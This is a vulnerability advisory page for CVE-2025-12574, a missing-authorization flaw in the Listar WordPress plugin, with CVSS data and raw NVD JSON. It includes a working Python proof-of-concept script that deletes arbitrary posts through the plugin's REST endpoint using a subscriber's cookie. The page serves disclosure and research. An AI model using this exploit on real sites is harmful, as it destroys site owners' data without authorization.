Security Vulnerability Report
δΈ­ζ–‡
CVE-2025-12574 CVSS 4.3 MEDIUM

CVE-2025-12574

Published: 2025-12-06 06:15:50
Last Modified: 2026-04-15 00:35:42

Description

The Listar – Directory Listing & Classifieds WordPress Plugin plugin for WordPress is vulnerable to unauthorized loss of data due to a missing capability check on the '/wp-json/listar/v1/place/delete' REST API endpoint in all versions up to, and including, 3.0.0. This makes it possible for authenticated attackers, with Subscriber-level access and above, to delete arbitrary posts.

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Listar Directory Listing & Classifieds WordPress Plugin <= 3.0.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2025-12574 PoC - Listar Plugin Unauthorized Post Deletion # Target: WordPress site with Listar plugin <= 3.0.0 def delete_post(target_url, post_id, auth_cookie): """ Delete arbitrary post via vulnerable Listar REST API endpoint Args: target_url: Target WordPress site URL post_id: ID of post to delete (any post on the site) auth_cookie: Valid WordPress authentication cookie (subscriber level or higher) """ endpoint = f"{target_url}/wp-json/listar/v1/place/delete" headers = { "Content-Type": "application/json", "Cookie": auth_cookie } data = {"post_id": post_id} try: response = requests.post(endpoint, json=data, headers=headers, timeout=10) if response.status_code == 200: result = response.json() if result.get("success"): print(f"[+] Successfully deleted post ID: {post_id}") return True print(f"[-] Failed to delete post ID: {post_id}") print(f"[-] Response: {response.text}") return False except requests.exceptions.RequestException as e: print(f"[-] Request error: {e}") return False if __name__ == "__main__": if len(sys.argv) < 4: print("Usage: python cve-2025-12574_poc.py <target_url> <post_id> <auth_cookie>") print("Example: python cve-2025-12574_poc.py http://example.com 123 'wordpress_logged_in_xxx=xxx'") sys.exit(1) target = sys.argv[1] post_id = int(sys.argv[2]) cookie = sys.argv[3] delete_post(target, post_id, cookie)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-12574", "sourceIdentifier": "[email protected]", "published": "2025-12-06T06:15:49.903", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Listar – Directory Listing & Classifieds WordPress Plugin plugin for WordPress is vulnerable to unauthorized loss of data due to a missing capability check on the '/wp-json/listar/v1/place/delete' REST API endpoint in all versions up to, and including, 3.0.0. This makes it possible for authenticated attackers, with Subscriber-level access and above, to delete arbitrary posts."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://wordpress.org/plugins/listar-directory-listing/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/33b98bee-7f33-4d49-96e1-9a1eafc92bb3?source=cve", "source": "[email protected]"}]}}